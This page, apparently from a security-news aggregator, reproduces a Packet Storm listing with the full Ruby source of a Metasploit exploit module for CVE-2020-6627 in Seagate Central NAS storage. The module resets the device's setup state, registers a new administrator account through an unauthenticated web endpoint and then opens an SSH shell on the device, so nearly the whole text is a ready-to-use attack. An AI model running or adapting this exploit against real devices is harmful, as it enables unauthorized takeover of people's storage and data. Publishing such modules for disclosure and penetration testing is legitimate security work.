Security
Headlines
HeadlinesLatestCVEs

Headline

Seagate Central Storage 2015.0916 User Creation / Command Execution

This Metasploit module exploits the broken access control vulnerability in Seagate Central External NAS Storage device. Subject product suffers several critical vulnerabilities such as broken access control. It makes it possible to change the device state and register a new admin user which is capable of SSH access.

Packet Storm
#vulnerability#js#git#php#auth#ssh#ssl
### Exploit Title: Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit)# Date: Dec 9 2019# Exploit Author: Ege Balci# Vendor Homepage: https://www.seagate.com/de/de/support/external-hard-drives/network-storage/seagate-central/# Version: 2015.0916# CVE : 2020-6627# This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'net/http'require 'net/ssh'require 'net/ssh/command_stream'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::SSH  def initialize(info={})    super(update_info(info,      'Name'           => "Seagate Central External NAS Arbitrary User Creation",      'Description'    => %q{        This module exploits the broken access control vulnerability in Seagate Central External NAS Storage device.        Subject product suffers several critical vulnerabilities such as broken access control. It makes it possible to change the device state        and register a new admin user which is capable of SSH access.      },      'License'        => MSF_LICENSE,      'Author'         =>        [          'Ege Balcı <[email protected]>' # author & msf module        ],      'References'     =>        [          ['URL', 'https://pentest.blog/advisory-seagate-central-storage-remote-code-execution/'],          ['CVE', '2020-6627']        ],      'DefaultOptions'  =>        {          'SSL' => false,          'WfsDelay' => 5,        },      'Platform'       => ['unix'],      'Arch'           => [ARCH_CMD],      'Payload'        =>      {        'Compat' => {          'PayloadType'    => 'cmd_interact',          'ConnectionType' => 'find'        }      },      'Targets'        =>        [          ['Auto',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD            }          ],        ],      'Privileged'     => true,      'DisclosureDate' => "Dec 9 2019",      'DefaultTarget'  => 0    ))    register_options(      [        OptString.new('USER', [ true, 'Seagate Central SSH user', '']),        OptString.new('PASS', [ true, 'Seagate Central SSH user password', ''])      ], self.class    )    register_advanced_options(      [        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])      ]    )  end  def check    res = send_request_cgi({      'method'    => 'GET',      'uri'       => normalize_uri(target_uri.path,"/index.php/Start/get_firmware"),      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      }    },60)    if res && res.body.include?('Cirrus NAS') && res.body.include?('2015.0916')      Exploit::CheckCode::Appears    else      Exploit::CheckCode::Safe    end  end  def exploit    # First get current state    first_state=get_state()    if first_state      print_status("Current device state: #{first_state['state']}")    else      return    end    if first_state['state'] != 'start'      # Set new start state      first_state['state'] = 'start'      res = send_request_cgi({        'method' => 'POST',        'uri' => normalize_uri(target_uri.path,'/index.php/Start/set_start_info'),        'ctype' => 'application/x-www-form-urlencoded',        'data'  => "info=#{first_state.to_json}"      },60)      changed_state=get_state()      if changed_state && changed_state['state'] == 'start'        print_good("State successfully changed !")      else        print_error("Could not change device state")        return      end    end    name = Rex::Text.rand_name_male    user = datastore['USER'] || "#{Rex::Text.rand_name_male}{rand(1..9999).to_s}"    pass = datastore['PASS'] || Rex::Text.rand_text_alpha(8)    print_status('Creating new admin user...')    print_status("User: #{user}")    print_status("Pass: #{pass}")    # Add new admin user    res = send_request_cgi({      'method'    => 'POST',      'uri'       => normalize_uri(target_uri.path,"/index.php/Start/add_edit_user"),      'ctype' => 'application/x-www-form-urlencoded',      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      },      'vars_post' => {user: JSON.dump({user: user, fullname: name, pwd: pass, email: "#{name}@localhost", isAdmin: true, uid: -1}), action: 1}    },60)    conn = do_login(user,pass)    if conn      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")      handler(conn.lsock)    end  end  def do_login(user, pass)    factory = ssh_socket_factory    opts = {      :auth_methods    => ['password', 'keyboard-interactive'],      :port            => 22,      :use_agent       => false,      :config          => false,      :password        => pass,      :proxy           => factory,      :non_interactive => true,      :verify_host_key => :never    }    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']    begin      ssh = nil      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do        ssh = Net::SSH.start(rhost, user, opts)      end    rescue Rex::ConnectionError      fail_with Failure::Unreachable, 'Connection failed'    rescue Net::SSH::Disconnect, ::EOFError      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"      return    rescue ::Timeout::Error      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"      return    rescue Net::SSH::AuthenticationFailed      print_error "#{rhost}:#{rport} SSH - Failed authentication"    rescue Net::SSH::Exception => e      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"      return    end    if ssh      conn = Net::SSH::CommandStream.new(ssh)      ssh = nil      return conn    end    return nil  end  def get_state    res = send_request_cgi({      'method'    => 'GET',      'uri'       => normalize_uri(target_uri.path,"/index.php/Start/json_get_start_info"),      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      }    },60)    if res && (res.code == 200 ||res.code == 100)      return res.get_json_document    end    res = nil  endend

Packet Storm: Latest News

Ubuntu Security Notice USN-7027-1